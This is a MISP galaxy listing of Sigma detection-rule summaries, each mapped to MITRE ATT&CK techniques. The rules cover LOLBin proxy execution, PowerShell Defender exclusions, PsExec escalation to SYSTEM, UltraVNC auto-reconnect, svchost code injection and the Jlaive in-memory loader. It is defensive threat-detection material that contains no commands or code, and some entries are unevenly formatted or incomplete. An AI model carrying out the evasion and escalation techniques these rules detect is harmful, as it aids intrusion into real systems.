### Using SettingSyncHost.exe as LOLBin

Detects using SettingSyncHost.exe to run hijacked binary

The tag is: `misp-galaxy:sigma-rules="Using SettingSyncHost.exe as LOLBin"`

View relationships graph

Using SettingSyncHost.exe as LOLBin has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Path Interception by Search Order Hijacking - T1574.008" with estimative-language:likelihood-probability="almost-certain"

### Suspicious Process Parents

Detects suspicious parent processes that should not have any children or should only have a single possible child program

The tag is: `misp-galaxy:sigma-rules="Suspicious Process Parents"`

View relationships graph

Suspicious Process Parents has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
**Powershell Defender Exclusion**

Detects requests to exclude files, folders or processes from Antivirus scanning using PowerShell cmdlets

The tag is: *misp-galaxy:sigma-rules="Powershell Defender Exclusion"*

View relationships graph

Powershell Defender Exclusion has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"* with estimative-language:likelihood-probability="almost-certain"

**PsExec/PAExec Escalation to LOCAL SYSTEM**

Detects suspicious commandline flags used by PsExec and PAExec to escalate a command line to LOCAL_SYSTEM rights

The tag is: `misp-galaxy:sigma-rules="PsExec/PAExec Escalation to LOCAL SYSTEM"`
PsExec/PAExec Escalation to LOCAL SYSTEM has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"

Run PowerShell Script from Redirected Input Stream

Detects PowerShell script execution via input stream redirect

The tag is: misp-galaxy:sigma-rules="Run PowerShell Script from Redirected Input Stream"

Lolbin Defaultpack.exe Use As Proxy

Detect usage of the "defaultpack.exe" binary as a proxy to launch other programs

The tag is: misp-galaxy:sigma-rules="Lolbin Defaultpack.exe Use As Proxy"
Lolbin Defaultpack.exe Use As Proxy has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

**Suspicious UltraVNC Execution**

Detects suspicious UltraVNC command line flag combination that indicate a auto reconnect upon execution, e.g. startup (as seen being used by Gamaredon threat group)

The tag is: *misp-galaxy:.sigma-rules*="Suspicious UltraVNC Execution"

View relationships graph

Suspicious UltraVNC Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="VNC - T1021.005" with estimative-language:likelihood-probability="almost-certain"

Suspicious High IntegrityLevel Conhost Legacy Option

ForceV1 asks for information directly from the kernel space. Conhost connects to the console application. High IntegrityLevel means the process is running with elevated privileges, such as an Administrator context.

The tag is: misp-galaxy:sigma-rules="Suspicious High IntegrityLevel Conhost Legacy Option"

View relationships graph

Suspicious High IntegrityLevel Conhost Legacy Option has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"
**Suspect Svchost Activity**

It is extremely abnormal for svchost.exe to spawn without any CLI arguments and is normally observed when a malicious process spawns the process and injects code into the process memory space.

The tag is: `misp-galaxy:sigma-rules="Suspect Svchost Activity"`

**View relationships graph**

Suspect Svchost Activity has relationships with:

**HackTool - Jlaive In-Memory Assembly Execution**

Detects the use of Jlaive to execute assemblies in a copied PowerShell

The tag is: `misp-galaxy:sigma-rules="HackTool - Jlaive In-Memory Assembly Execution"`

**View relationships graph**

HackTool - Jlaive In-Memory Assembly Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003"` with estimative-language:likelihood-probability="almost-certain"
Suspicious WmiPrvSE Child Process

Detects suspicious and uncommon child processes of WmiPrvSE

The tag is: `misp-galaxy:sigma-rules="Suspicious WmiPrvSE Child Process"`

View relationships graph

Suspicious WmiPrvSE Child Process has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010"` with estimative-language:likelihood-probability="almost-certain"
